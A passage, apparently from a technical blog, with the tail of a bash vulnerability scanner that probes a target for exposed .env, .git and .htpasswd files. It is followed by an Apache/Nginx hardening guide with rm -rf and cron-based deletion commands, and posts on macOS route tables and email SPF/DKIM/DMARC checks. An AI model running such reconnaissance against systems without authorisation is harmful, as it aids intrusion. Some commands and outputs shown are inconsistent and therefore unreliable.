            elif echo "$line" | grep -qi "MEDIUM\|CVE.*MEDIUM\|score.*[4-6]"; then
                echo "$line" >> "$MEDIUM_FILE"
            elif echo "$line" | grep -qi "LOW\|CVE.*LOW\|score.*[1-3]"; then
                echo "$line" >> "$LOW_FILE"
            elif echo "$line" | grep -qi "INFO\|INFORMATION"; then
                echo "$line" >> "$INFO_FILE"
            fi
        done
        
        # Also parse normal output for vulnerability information
        if [ -f "${OUTPUT_DIR}/scan_normal.txt" ]; then
            # Look for common vulnerability patterns in normal output
            grep -E "(CVE-|VULNERABLE|State: VULNERABLE)" "${OUTPUT_DIR}/scan_normal.txt" | while read vuln_line; do
                if echo "$vuln_line" | grep -qi "critical\|9\.[0-9]\|10\.0"; then
                    echo "$vuln_line" >> "$CRITICAL_FILE"
                elif echo "$vuln_line" | grep -qi "high\|[7-8]\.[0-9]"; then
                    echo "$vuln_line" >> "$HIGH_FILE"
                elif echo "$vuln_line" | grep -qi "medium\|[4-6]\.[0-9]"; then
                    echo "$vuln_line" >> "$MEDIUM_FILE"
                elif echo "$vuln_line" | grep -qi "low\|[1-3]\.[0-9]"; then
                    echo "$vuln_line" >> "$LOW_FILE"
                else
                    echo "$vuln_line" >> "$INFO_FILE"
                fi
            done
        fi
    fi
}

# Function to display vulnerabilities by severity
display_results() {
    print_header "VULNERABILITY SCAN RESULTS"
    
    # Critical Vulnerabilities
    echo -e "\n${RED}🔴 CRITICAL SEVERITY VULNERABILITIES${NC}"
    echo "=================================================="
    if [ -s "${OUTPUT_DIR}/critical.tmp" ]; then
        cat "${OUTPUT_DIR}/critical.tmp" | head -20
        CRITICAL_COUNT=$(wc -l < "${OUTPUT_DIR}/critical.tmp")
        echo -e "${RED}Total Critical: $CRITICAL_COUNT${NC}"
    else
        echo -e "${GREEN}✓ No critical vulnerabilities found${NC}"
    fi
    
    # High Vulnerabilities
    echo -e "\n${ORANGE}🟠 HIGH SEVERITY VULNERABILITIES${NC}"
    echo "============================================="
    if [ -s "${OUTPUT_DIR}/high.tmp" ]; then
        cat "${OUTPUT_DIR}/high.tmp" | head -15
        HIGH_COUNT=$(wc -l < "${OUTPUT_DIR}/high.tmp")
        echo -e "${ORANGE}Total High: $HIGH_COUNT${NC}"
    else
        echo -e "${GREEN}✓ No high severity vulnerabilities found${NC}"
    fi
    
    # Medium Vulnerabilities
    echo -e "\n${YELLOW}🟡 MEDIUM SEVERITY VULNERABILITIES${NC}"
    echo "==============================================="
    if [ -s "${OUTPUT_DIR}/medium.tmp" ]; then
        cat "${OUTPUT_DIR}/medium.tmp" | head -10
        MEDIUM_COUNT=$(wc -l < "${OUTPUT_DIR}/medium.tmp")
        echo -e "${YELLOW}Total Medium: $MEDIUM_COUNT${NC}"
    else
        echo -e "${GREEN}✓ No medium severity vulnerabilities found${NC}"
    fi
    
    # Low Vulnerabilities
    echo -e "\n${BLUE}🔵 LOW SEVERITY VULNERABILITIES${NC}"
    echo "=========================================="
    if [ -s "${OUTPUT_DIR}/low.tmp" ]; then
        cat "${OUTPUT_DIR}/low.tmp" | head -8
        LOW_COUNT=$(wc -l < "${OUTPUT_DIR}/low.tmp")
        echo -e "${BLUE}Total Low: $LOW_COUNT${NC}"
    else
        echo -e "${GREEN}✓ No low severity vulnerabilities found${NC}"
    fi
    
    # Information/Other
    echo -e "\n${GREEN}ℹ️  INFORMATIONAL${NC}"
    echo "========================="
    if [ -s "${OUTPUT_DIR}/info.tmp" ]; then
        cat "${OUTPUT_DIR}/info.tmp" | head -5
        INFO_COUNT=$(wc -l < "${OUTPUT_DIR}/info.tmp")
        echo -e "${GREEN}Total Info: $INFO_COUNT${NC}"
    else
        echo "No informational items found"
    fi
}

# Function to run gobuster scan for enhanced directory discovery
run_gobuster_scan() {
    echo "Running gobuster directory scan..."
    
    GOBUSTER_RESULTS="${OUTPUT_DIR}/gobuster_results.txt"
    PERMISSION_ANALYSIS="${OUTPUT_DIR}/gobuster_permissions.txt"
    > "$PERMISSION_ANALYSIS"
    
    for port in $(echo "$WEB_PORTS" | tr ',' ' '); do
        PROTOCOL="http"
        if [[ "$port" == "443" || "$port" == "8443" ]]; then
            PROTOCOL="https"
        fi
        
        echo "Scanning $PROTOCOL://$TARGET:$port with gobuster..."
        
        # Run gobuster with common wordlist
        if [ -f "/usr/share/wordlists/dirb/common.txt" ]; then
            WORDLIST="/usr/share/wordlists/dirb/common.txt"
        elif [ -f "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" ]; then
            WORDLIST="/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"
        else
            # Create a small built-in wordlist
            WORDLIST="${OUTPUT_DIR}/temp_wordlist.txt"
            cat > "$WORDLIST" <<EOF
admin
administrator
api
backup
bin
cgi-bin
config
data
database
db
debug
dev
development
doc
docs
documentation
download
downloads
error
errors
export
files
hidden
images
img
include
includes
js
library
log
logs
manage
management
manager
media
old
private
proc
public
resources
scripts
secret
secure
server-status
staging
static
storage
system
temp
templates
test
testing
tmp
upload
uploads
users
var
vendor
web
webapp
wp-admin
wp-content
.git
.svn
.env
.htaccess
.htpasswd
robots.txt
sitemap.xml
web.config
phpinfo.php
info.php
test.php
EOF
        fi
        
        # Run gobuster with status code analysis
        gobuster dir -u "$PROTOCOL://$TARGET:$port" \
                    -w "$WORDLIST" \
                    -k \
                    -t 10 \
                    --no-error \
                    -o "${GOBUSTER_RESULTS}_${port}.txt" \
                    -s "200,204,301,302,307,401,403,405" 2>/dev/null
        
        # Analyze results for permission issues
        if [ -f "${GOBUSTER_RESULTS}_${port}.txt" ]; then
            echo "Analyzing gobuster results for permission issues..."
            
            # Check for 403 Forbidden directories
            grep "Status: 403" "${GOBUSTER_RESULTS}_${port}.txt" | while read line; do
                dir=$(echo "$line" | awk '{print $1}')
                echo -e "${ORANGE}[403 Forbidden]${NC} $PROTOCOL://$TARGET:$port$dir - Directory exists but access denied" >> "$PERMISSION_ANALYSIS"
                echo -e "${ORANGE}  Permission Issue:${NC} $PROTOCOL://$TARGET:$port$dir (403 Forbidden)"
            done
            
            # Check for 401 Unauthorized directories
            grep "Status: 401" "${GOBUSTER_RESULTS}_${port}.txt" | while read line; do
                dir=$(echo "$line" | awk '{print $1}')
                echo -e "${YELLOW}[401 Unauthorized]${NC} $PROTOCOL://$TARGET:$port$dir - Authentication required" >> "$PERMISSION_ANALYSIS"
                echo -e "${YELLOW}  Auth Required:${NC} $PROTOCOL://$TARGET:$port$dir (401 Unauthorized)"
            done
            
            # Check for directory listing enabled (potentially dangerous)
            grep "Status: 200" "${GOBUSTER_RESULTS}_${port}.txt" | while read line; do
                dir=$(echo "$line" | awk '{print $1}')
                # Check if it's a directory by looking for trailing slash or common directory patterns
                if [[ "$dir" =~ /$ ]] || [[ ! "$dir" =~ \. ]]; then
                    # Test if directory listing is enabled
                    RESPONSE=$(curl -k -s --max-time 5 "$PROTOCOL://$TARGET:$port$dir" 2>/dev/null)
                    if echo "$RESPONSE" | grep -qi "index of\|directory listing\|parent directory\|<pre>\|<dir>"; then
                        echo -e "${RED}[Directory Listing Enabled]${NC} $PROTOCOL://$TARGET:$port$dir - SECURITY RISK" >> "$PERMISSION_ANALYSIS"
                        echo -e "${RED}  🚨 Directory Listing:${NC} $PROTOCOL://$TARGET:$port$dir"
                    fi
                fi
            done
            
            # Check for sensitive files with incorrect permissions
            for sensitive_file in ".git/config" ".env" ".htpasswd" "web.config" "phpinfo.php" "info.php" ".DS_Store" "Thumbs.db"; do
                if grep -q "/$sensitive_file.*Status: 200" "${GOBUSTER_RESULTS}_${port}.txt"; then
                    echo -e "${RED}[Sensitive File Exposed]${NC} $PROTOCOL://$TARGET:$port/$sensitive_file - CRITICAL SECURITY RISK" >> "$PERMISSION_ANALYSIS"
                    echo -e "${RED}  🚨 Sensitive File:${NC} $PROTOCOL://$TARGET:$port/$sensitive_file"
                fi
            done
        fi
    done
    
    # Clean up temporary wordlist if created
    [ -f "${OUTPUT_DIR}/temp_wordlist.txt" ] && rm -f "${OUTPUT_DIR}/temp_wordlist.txt"
    
    # Display permission analysis summary
    if [ -s "$PERMISSION_ANALYSIS" ]; then
        echo ""
        echo -e "${ORANGE}=== Directory Permission Issues Summary ===${NC}"
        cat "$PERMISSION_ANALYSIS"
        
        # Count different types of issues
        FORBIDDEN_COUNT=$(grep -c "403 Forbidden" "$PERMISSION_ANALYSIS" 2>/dev/null || echo 0)
        UNAUTH_COUNT=$(grep -c "401 Unauthorized" "$PERMISSION_ANALYSIS" 2>/dev/null || echo 0)
        LISTING_COUNT=$(grep -c "Directory Listing Enabled" "$PERMISSION_ANALYSIS" 2>/dev/null || echo 0)
        SENSITIVE_COUNT=$(grep -c "Sensitive File Exposed" "$PERMISSION_ANALYSIS" 2>/dev/null || echo 0)
        
        echo ""
        echo "Permission Issue Statistics:"
        echo "  - 403 Forbidden directories: $FORBIDDEN_COUNT"
        echo "  - 401 Unauthorized directories: $UNAUTH_COUNT"
        echo "  - Directory listings enabled: $LISTING_COUNT"
        echo "  - Sensitive files exposed: $SENSITIVE_COUNT"
    fi
}

# Function to run TLS/SSL checks
run_tls_checks() {
    print_header "Running TLS/SSL Security Checks"
    
    # Check for HTTPS ports
    HTTPS_PORTS=$(echo "$OPEN_PORTS" | tr ',' '\n' | grep -E '443|8443' | tr '\n' ',' | sed 's/,$//')
    if [ -z "$HTTPS_PORTS" ]; then
        HTTPS_PORTS="443"
        echo "No HTTPS ports found in scan, checking default port 443..."
    fi
    
    echo "Checking TLS/SSL on ports: $HTTPS_PORTS"
    
    # Run SSL scan using nmap ssl scripts
    nmap -sV --script ssl-cert,ssl-enum-ciphers,ssl-known-key,ssl-ccs-injection,ssl-heartbleed,ssl-poodle,sslv2,tls-alpn,tls-nextprotoneg \
         -p "$HTTPS_PORTS" \
         -oN "${OUTPUT_DIR}/tls_scan.txt" \
         "$TARGET" 2>/dev/null
    
    # Parse TLS results
    TLS_ISSUES_FILE="${OUTPUT_DIR}/tls_issues.txt"
    > "$TLS_ISSUES_FILE"
    
    # Check for weak ciphers
    if grep -q "TLSv1.0\|SSLv2\|SSLv3" "${OUTPUT_DIR}/tls_scan.txt" 2>/dev/null; then
        echo "CRITICAL: Outdated SSL/TLS protocols detected" >> "$TLS_ISSUES_FILE"
    fi
    
    # Check for weak cipher suites
    if grep -q "DES\|RC4\|MD5" "${OUTPUT_DIR}/tls_scan.txt" 2>/dev/null; then
        echo "HIGH: Weak cipher suites detected" >> "$TLS_ISSUES_FILE"
    fi
    
    # Check for certificate issues
    if grep -q "expired\|self-signed" "${OUTPUT_DIR}/tls_scan.txt" 2>/dev/null; then
        echo "MEDIUM: Certificate issues detected" >> "$TLS_ISSUES_FILE"
    fi
    
    # Display TLS results
    echo ""
    if [ -s "$TLS_ISSUES_FILE" ]; then
        echo -e "${RED}TLS/SSL Issues Found:${NC}"
        cat "$TLS_ISSUES_FILE"
    else
        echo -e "${GREEN}✓ No major TLS/SSL issues detected${NC}"
    fi
    echo ""
}

# Function to run directory busting and permission checks
run_dirbuster() {
    print_header "Running Directory Discovery and Permission Checks"
    
    # Check for web ports
    WEB_PORTS=$(echo "$OPEN_PORTS" | tr ',' '\n' | grep -E '^(80|443|8080|8443)$' | tr '\n' ',' | sed 's/,$//')
    if [ -z "$WEB_PORTS" ]; then
        echo "No standard web ports found in open ports, checking defaults..."
        WEB_PORTS="80,443"
    fi
    
    echo "Running directory discovery on web ports: $WEB_PORTS"
    
    # Check if gobuster is available
    if command -v gobuster &> /dev/null; then
        echo -e "${GREEN}Using gobuster for enhanced directory discovery and permission checks${NC}"
        run_gobuster_scan
    else
        echo -e "${YELLOW}Gobuster not found. Using fallback method.${NC}"
        echo -e "${YELLOW}Install gobuster for enhanced directory permission checks: brew install gobuster${NC}"
    fi
    
    # Use nmap's http-enum script for directory discovery
    nmap -sV --script http-enum \
         --script-args http-enum.basepath='/' \
         -p "$WEB_PORTS" \
         -oN "${OUTPUT_DIR}/dirbuster.txt" \
         "$TARGET" 2>/dev/null
    
    # Common directory wordlist (built-in small list)
    COMMON_DIRS="admin administrator backup api config test dev staging uploads download downloads files documents images img css js scripts cgi-bin wp-admin phpmyadmin .git .svn .env .htaccess robots.txt sitemap.xml"
    
    # Quick check for common directories using curl
    DIRS_FOUND_FILE="${OUTPUT_DIR}/directories_found.txt"
    > "$DIRS_FOUND_FILE"
    
    for port in $(echo "$WEB_PORTS" | tr ',' ' '); do
        PROTOCOL="http"
        if [[ "$port" == "443" || "$port" == "8443" ]]; then
            PROTOCOL="https"
        fi
        
        echo "Checking common directories on $PROTOCOL://$TARGET:$port"
        
        for dir in $COMMON_DIRS; do
            URL="$PROTOCOL://$TARGET:$port/$dir"
            STATUS=$(curl -k -s -o /dev/null -w "%{http_code}" --max-time 3 "$URL" 2>/dev/null)
            
            if [[ "$STATUS" == "200" || "$STATUS" == "301" || "$STATUS" == "302" || "$STATUS" == "401" || "$STATUS" == "403" ]]; then
                echo "[$STATUS] $URL" >> "$DIRS_FOUND_FILE"
                echo -e "${GREEN}Found:${NC} [$STATUS] $URL"
                
                # Check for permission issues
                if [[ "$STATUS" == "403" ]]; then
                    echo -e "${ORANGE}  ⚠️  Permission denied (403) - Possible misconfiguration${NC}"
                    echo "[PERMISSION ISSUE] 403 Forbidden: $URL" >> "${OUTPUT_DIR}/permission_issues.txt"
                elif [[ "$STATUS" == "401" ]]; then
                    echo -e "${YELLOW}  🔒 Authentication required (401)${NC}"
                    echo "[AUTH REQUIRED] 401 Unauthorized: $URL" >> "${OUTPUT_DIR}/permission_issues.txt"
                fi
            fi
        done
    done
    
    # Display results
    echo ""
    if [ -s "$DIRS_FOUND_FILE" ]; then
        echo -e "${YELLOW}Directories/Files discovered:${NC}"
        cat "$DIRS_FOUND_FILE"
    else
        echo "No additional directories found"
    fi
    
    # Display permission issues if found
    if [ -s "${OUTPUT_DIR}/permission_issues.txt" ]; then
        echo ""
        echo -e "${ORANGE}Directory Permission Issues Found:${NC}"
        cat "${OUTPUT_DIR}/permission_issues.txt"
    fi
    echo ""
}

# Function to generate summary report
generate_summary() {
    print_header "SCAN SUMMARY"
    
    CRITICAL_COUNT=0
    HIGH_COUNT=0
    MEDIUM_COUNT=0
    LOW_COUNT=0
    INFO_COUNT=0
    
    [ -f "${OUTPUT_DIR}/critical.tmp" ] && CRITICAL_COUNT=$(wc -l < "${OUTPUT_DIR}/critical.tmp")
    [ -f "${OUTPUT_DIR}/high.tmp" ] && HIGH_COUNT=$(wc -l < "${OUTPUT_DIR}/high.tmp")
    [ -f "${OUTPUT_DIR}/medium.tmp" ] && MEDIUM_COUNT=$(wc -l < "${OUTPUT_DIR}/medium.tmp")
    [ -f "${OUTPUT_DIR}/low.tmp" ] && LOW_COUNT=$(wc -l < "${OUTPUT_DIR}/low.tmp")
    [ -f "${OUTPUT_DIR}/info.tmp" ] && INFO_COUNT=$(wc -l < "${OUTPUT_DIR}/info.tmp")
    
    echo "Target: $TARGET"
    echo "Scan Date: $(date)"
    echo ""
    echo -e "${RED}Critical:       $CRITICAL_COUNT${NC}"
    echo -e "${ORANGE}High:           $HIGH_COUNT${NC}"
    echo -e "${YELLOW}Medium:         $MEDIUM_COUNT${NC}"
    echo -e "${BLUE}Low:            $LOW_COUNT${NC}"
    echo -e "${GREEN}Informational:  $INFO_COUNT${NC}"
    echo ""
    
    TOTAL=$((CRITICAL_COUNT + HIGH_COUNT + MEDIUM_COUNT + LOW_COUNT))
    echo "Total Vulnerabilities: $TOTAL"
    
    # Risk assessment
    if [ $CRITICAL_COUNT -gt 0 ]; then
        echo -e "${RED}🚨 RISK LEVEL: CRITICAL - Immediate action required!${NC}"
    elif [ $HIGH_COUNT -gt 0 ]; then
        echo -e "${ORANGE}⚠️  RISK LEVEL: HIGH - Action required soon${NC}"
    elif [ $MEDIUM_COUNT -gt 0 ]; then
        echo -e "${YELLOW}⚡ RISK LEVEL: MEDIUM - Should be addressed${NC}"
    elif [ $LOW_COUNT -gt 0 ]; then
        echo -e "${BLUE}📋 RISK LEVEL: LOW - Monitor and plan fixes${NC}"
    else
        echo -e "${GREEN}✅ RISK LEVEL: MINIMAL - Good security posture${NC}"
    fi
    
    # Save summary to file
    {
        echo "Vulnerability Scan Summary for $TARGET"
        echo "======================================"
        echo "Scan Date: $(date)"
        echo ""
        echo "Critical: $CRITICAL_COUNT"
        echo "High: $HIGH_COUNT"
        echo "Medium: $MEDIUM_COUNT"
        echo "Low: $LOW_COUNT"
        echo "Informational: $INFO_COUNT"
        echo "Total: $TOTAL"
        echo ""
        echo "Additional Checks:"
        [ -f "${OUTPUT_DIR}/tls_issues.txt" ] && [ -s "${OUTPUT_DIR}/tls_issues.txt" ] && echo "TLS/SSL Issues: $(wc -l < "${OUTPUT_DIR}/tls_issues.txt")"
        [ -f "${OUTPUT_DIR}/directories_found.txt" ] && [ -s "${OUTPUT_DIR}/directories_found.txt" ] && echo "Directories Found: $(wc -l < "${OUTPUT_DIR}/directories_found.txt")"
        [ -f "${OUTPUT_DIR}/gobuster_permissions.txt" ] && [ -s "${OUTPUT_DIR}/gobuster_permissions.txt" ] && echo "Directory Permission Issues: $(wc -l < "${OUTPUT_DIR}/gobuster_permissions.txt")"
    } > "${OUTPUT_DIR}/summary.txt"
}

# Main execution
main() {
    echo "Starting vulnerability scan for $TARGET…"
    
    # Check if required tools are installed
    if ! command -v nmap &> /dev/null; then
        echo -e "${RED}Error: nmap is not installed. Please install nmap first.${NC}"
        exit 1
    fi
    
    if ! command -v curl &> /dev/null; then
        echo -e "${RED}Error: curl is not installed. Please install curl first.${NC}"
        exit 1
    fi
    
    # Check for optional tools
    if command -v gobuster &> /dev/null; then
        echo -e "${GREEN}✓ Gobuster found - Enhanced directory scanning enabled${NC}"
    else
        echo -e "${YELLOW}ℹ️  Gobuster not found - Basic directory scanning will be used${NC}"
        echo -e "${YELLOW}   Install with: brew install gobuster (macOS) or apt install gobuster (Linux)${NC}"
    fi
    
    # Run the main vulnerability scan
    run_scan
    
    # Run TLS/SSL checks
    run_tls_checks
    
    # Run directory discovery
    run_dirbuster
    
    # Parse results
    parse_vulnerabilities
    
    # Display formatted results
    display_results
    
    # Generate summary
    generate_summary
    
    # Cleanup temporary files
    rm -f "${OUTPUT_DIR}"/*.tmp
    
    print_header "SCAN COMPLETE"
    echo "All results saved in: $OUTPUT_DIR"
    echo "Summary saved in: ${OUTPUT_DIR}/summary.txt"
    echo -e "${GREEN}Scan completed at: $(date)${NC}"
}

# Run main function
main

Here’s a comprehensive guide on how to fix each type of directory permission issue that the above script might find (for apache):

## 1. **403 Forbidden Errors**

### What it means:
The directory/file exists but the server is denying access to it.

### How to fix:
# For Apache (.htaccess)
# Add to .htaccess in the directory:
Order deny,allow
Deny from all

# Or remove the directory from web access entirely
# Move sensitive directories outside the web root
mv /var/www/html/backup /var/backups/

# For Nginx
# Add to nginx.conf:
location /admin {
    deny all;
    return 404;  # Return 404 instead of 403 to hide existence
}
## 2. **401 Unauthorized Errors**

### What it means:
Authentication is required but may not be properly configured.

### How to fix:
# For Apache - create .htpasswd file
htpasswd -c /etc/apache2/.htpasswd username

# Add to .htaccess:
AuthType Basic
AuthName "Restricted Access"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user

# For Nginx:
# Install apache2-utils for htpasswd
sudo apt-get install apache2-utils
htpasswd -c /etc/nginx/.htpasswd username

# Add to nginx.conf:
location /admin {
    auth_basic "Restricted Access";
    auth_basic_user_file /etc/nginx/.htpasswd;
}
## 3. **Directory Listing Enabled (CRITICAL)**

### What it means:
Anyone can see all files in the directory - major security risk!

### How to fix:
# For Apache
# Method 1: Add to .htaccess in the directory
Options -Indexes

# Method 2: Add to Apache config (httpd.conf or apache2.conf)
<Directory /var/www/html>
    Options -Indexes
</Directory>

# For Nginx
# Add to nginx.conf (Nginx doesn't have directory listing by default)
# If you see it enabled, remove:
autoindex off;  # This should be the default

# Create index files in empty directories
echo "<!DOCTYPE html><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1></body></html>" > index.html
## 4. **Sensitive Files Exposed (CRITICAL)**

### Common exposed files and fixes:

#### **.git directory**
# Remove .git from production
rm -rf /var/www/html/.git

# Or block access via .htaccess
<Files ~ "^\.git">
    Order allow,deny
    Deny from all
</Files>

# For Nginx:
location ~ /\.git {
    deny all;
    return 404;
}
#### **.env file**
# Move outside web root
mv /var/www/html/.env /var/www/

# Update your application to read from new location
# In PHP: require_once __DIR__ . '/../.env';

# Block via .htaccess
<Files .env>
    Order allow,deny
    Deny from all
</Files>
#### **Configuration files (config.php, settings.php)**
# Move sensitive configs outside web root
mv /var/www/html/config.php /var/www/config/

# Or restrict access via .htaccess
<Files "config.php">
    Order allow,deny
    Deny from all
</Files>
#### **Backup files**
# Remove backup files from web directory
find /var/www/html -name "*.bak" -o -name "*.backup" -o -name "*.old" | xargs rm -f

# Create a cron job to clean regularly
echo "0 2 * * * find /var/www/html -name '*.bak' -o -name '*.backup' -delete" | crontab -
## 5. **General Security Best Practices**

### Create a comprehensive .htaccess file:
# Disable directory browsing
Options -Indexes

# Deny access to hidden files and directories
<Files .*>
    Order allow,deny
    Deny from all
</Files>

# Deny access to backup and source files
<FilesMatch "(\.(bak|backup|config|dist|fla|inc|ini|log|psd|sh|sql|swp)|~)$">
    Order allow,deny
    Deny from all
</FilesMatch>

# Protect sensitive files
location ~ /(\.htaccess|\.htpasswd|\.env|composer\.json|composer\.lock|package\.json|package-lock\.json)$ {
    deny all;
    return 404;
}

## 6. Quick Security Audit Commands
## Run these commands to find and fix common issues:

# Find all .git directories in web root
find /var/www/html -type d -name .git

# Find all .env files
find /var/www/html -name .env

# Find all backup files
find /var/www/html -type f \( -name "*.bak" -o -name "*.backup" -o -name "*.old" -o -name "*~" \)

# Find directories without index files (potential listing)
find /var/www/html -type d -exec sh -c '[ ! -f "$1/index.html" ] && [ ! -f "$1/index.php" ] && echo "$1"' _ {} \;

# Set proper permissions
find /var/www/html -type d -exec chmod 755 {} \;
find /var/www/html -type f -exec chmod 644 {} \;

## 7. Testing Your Fixes
## After implementing fixes, test them:

# Test that sensitive files are blocked
curl -I https://yoursite.com/.git/config
# Should return 403 or 404

# Test that directory listing is disabled
curl https://yoursite.com/images/
# Should not show a file list

# Run the vunscan.sh script again
./vunscan.sh yoursite.com
# Verify issues are resolved


## 8. Preventive Measures
## 1. Use a deployment script that excludes sensitive files:
bash
## 2. Regular security scans:
bash
## 3. Use a Web Application Firewall (WAF) like ModSecurity or Cloudflare

# Remember: The goal is not just to hide these files (security through obscurity) but to properly secure them or remove them from the web-accessible directory entirely.

Mac OSX: Altering the OS route table to re-direct the traffic of a website to a different interface (eg re-routing whatsapp traffic to en0)

This was a hard article to figure out the title for! Put simply, your mac book has a route table and if you want to move a specific IP address or dns from one interface to another, then follow the steps below:

First find the IP address of the website that you want to re-route the traffic for:

$ nslookup web.whatsapp.com
Server:		100.64.0.1
Address:	100.64.0.1#53

Non-authoritative answer:
web.whatsapp.com	canonical name = mmx-ds.cdn.whatsapp.net.
Name:	mmx-ds.cdn.whatsapp.net
Address: 102.132.99.60

We want to re-route traffic the traffic from: 102.132.99.60 to the default interface. So first lets find out which interface this traffic is currently being routed to?

$ route -n get web.whatsapp.com
   route to: 102.132.99.60
destination: 102.132.99.60
    gateway: 100.64.0.1
  interface: utun0
      flags: <UP,GATEWAY,HOST,DONE,WASCLONED,IFSCOPE,IFREF>
 recvpipe  sendpipe  ssthresh  rtt,msec    rttvar  hopcount      mtu     expire
       0         0         0        34        21         0      1400         0

So this is currently going to a tunnelled interface called utun0 on gateway 100.64.0.1.

Ok, so I want to move if off this tunnelled interface. So lets first display the kernel routing table. The -n option forces netstat to print the IP addresses. Without this option, netstat attempts to display the host names.

$ netstat - rn | head -n 5
Active Internet connections
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp4       0    126  100.64.0.1.64770       136.226.216.14.https   ESTABLISHED
tcp4       0      0  100.64.0.1.64768       whatsapp-cdn-shv.https ESTABLISHED
tcp4       0      0  100.64.0.1.64766       52.178.17.3.https      ESTABLISHED

Now we want to re-route whatsapp to the default interface. So lets get the IP address of the default interface.

$ netstat -nr | grep default
default            192.168.8.1        UGScg                 en0
default                                 fe80::%utun1                            UGcIg               utun1
default                                 fe80::%utun2                            UGcIg               utun2
default                                 fe80::%utun3                            UGcIg               utun3
default                                 fe80::%utun4                            UGcIg               utun4
default                                 fe80::%utun5                            UGcIg               utun5
default                                 fe80::%utun0                            UGcIg               utun0

We can see that our en0 interface is on IP address: 192.168.8.1. So lets re-route the traffic from Whatsapp’s ip address to this interace’s IP address:

$ sudo route add 102.132.99.60 192.168.0.1
route: writing to routing socket: File exists
add host 102.132.99.60: gateway 192.168.8.1: File exists

Now lets test if we are routing via the correct interface:

$ route -n get 102.132.99.60
   route to: 102.132.99.60
destination: 102.132.99.60
    gateway: 192.168.8.1
  interface: utun6
      flags: <UP,GATEWAY,HOST,DONE,STATIC>
 recvpipe  sendpipe  ssthresh  rtt,msec    rttvar  hopcount      mtu     expire
       0         0         0         0         0         0      1400         0

Finally delete the route and recheck the routing:

$ sudo route delete 102.132.99.60
delete host 102.132.99.60

$ route -n get 102.132.99.60
   route to: 102.132.99.60
destination: 102.132.99.60
    gateway: 100.64.0.1
  interface: utun6
      flags: <UP,GATEWAY,HOST,DONE,WASCLONED,IFSCOPE,IFREF>
 recvpipe  sendpipe  ssthresh  rtt,msec    rttvar  hopcount      mtu     expire
       0         0         0         0         0         0      1400         0

Macbook: Check a DNS (web site) to see if basic email security has been setup (SPF, DKIM and DMARC)

There are three basic ways to secure email, these are: Sender Policy Framework (SPF), Domain Keys Identified Mail (DKIM), Domain-based Message Authentication, Reporting & Conformance (DMARC) definitions. Lets quickly discuss these before we talk about how to check if they have been setup:

SPF helps prevent spoofing by verifying the sender’s IP address

SPF (Sender Policy Framework) is a DNS record containing information about servers allowed to send emails from a specific domain (eg which servers can send emails from andrewbaker.ninja). 

With it, you can verify that messages coming from your domain are sent by mail servers and IP addresses authorized by you. This might be your email servers or servers of another company you use for your email sending. If SPF isn’t set, scammers can take advantage of it and send fake messages that look like they come from you. 

It’s important to remember that there can be only one SPF record for one domain. Within one SPF record, however, there can be several servers and IP addresses mentioned (for instance, if emails are sent from several mailing platforms).

DKIM shows that the email hasn’t been tampered with

DKIM (DomainKeys Identified Mail) adds a digital signature to the header of your email message, which the receiving email servers then check to ensure that the email content hasn’t changed. Like SPF, a DKIM record exists in the DNS.

DMARC provides reporting visibility on the prior controls

DMARC (Domain-based Message Authentication, Reporting & Conformance) defines how the recipient’s mail server should process incoming emails if they don’t pass the authentication check (either SPF, DKIM, or both).

Basically, if there’s a DKIM signature, and the sending server is found in the SPF records, the email is sent to the recipient’s inbox. 

If the message fails authentication, it’s processed according to the selected DMARC policy: none, reject, or quarantine.

  • Under the “none” policy, the receiving server doesn’t take any action if your emails fail authentication. It doesn’t impact your deliverability. But it also doesn’t protect you from scammers, so we don’t recommend setting it. Only by introducing stricter policies can you block them in the very beginning and let the world know you care about your customers and brand. 
  • Here, messages that come from your domain but don’t pass the DMARC check go to “quarantine.” In such a case, the provider is advised to send your email to the spam folder. 
  • Under the “reject” policy, the receiving server rejects all messages that don’t pass email authentication. This means such emails won’t reach an addressee and will result in a bounce.

The “reject” option is the most effective, but it’s better to choose it only if you are sure that everything is configured correctly.

Now that we’ve clarified all the terms, let’s see how you can check if you have an existing SPF record, DKIM record, and DMARC policy set in place.

1. First Lets Check if SPF is setup

$ dig txt google.com | grep "v=spf"
google.com.		3600	IN	TXT	"v=spf1 include:_spf.google.com ~all"

How to read SPF correctly

  • The “v=spf1” part shows that the record is of SPF type (version 1). 
  • The “include” part lists servers allowed to send emails for the domain. 
  • The “~all” part indicates that if any part of the sent message doesn’t match the record, the recipient server will likely decline it.

2. Next Lets Check if DKIM is setup

What is a DKIM record?

A DKIM record stores the DKIM public key — a randomized string of characters that is used to verify anything signed with the private key. Email servers query the domain’s DNS records to see the DKIM record and view the public key.

A DKIM record is really a DNS TXT (“text”) record. TXT records can be used to store any text that a domain administrator wants to associate with their domain. DKIM is one of many uses for this type of DNS record. (In some cases, domains have stored their DKIM records as CNAME records that point to the key instead; however, the official RFC requires these records to be TXT.)

Here is an example of a DKIM DNS TXT record:

NameTypeContentTTL
big-email._domainkey.example.comTXTv=DKIM1; p=76E629F05F70
9EF665853333
EEC3F5ADE69A
2362BECE4065
8267AB2FC3CB
6CBE
6000

Name

Unlike most DNS TXT records, DKIM records are stored under a specialized name, not just the name of the domain. DKIM record names follow this format:

[selector]._domainkey.[domain]

The selector is a specialized value issued by the email service provider used by the domain. It is included in the DKIM header to enable an email server to perform the required DKIM lookup in the DNS. The domain is the email domain name. ._domainkey. is included in all DKIM record names.

If you want to find the value of the selector, you can view this by selecting “Show Original” when you have the email open in gmail:

Once you are able to view the original email, perform a text search for “DKIM-Signature”. This DKIM-Signature contains an attribute ‘s=’, this is the DKIM selector being used for this domain. In the example below (an amazon email), we can see the DKIM selector is “jvxsykglqiaiibkijmhy37vqxh4mzqr6”. 

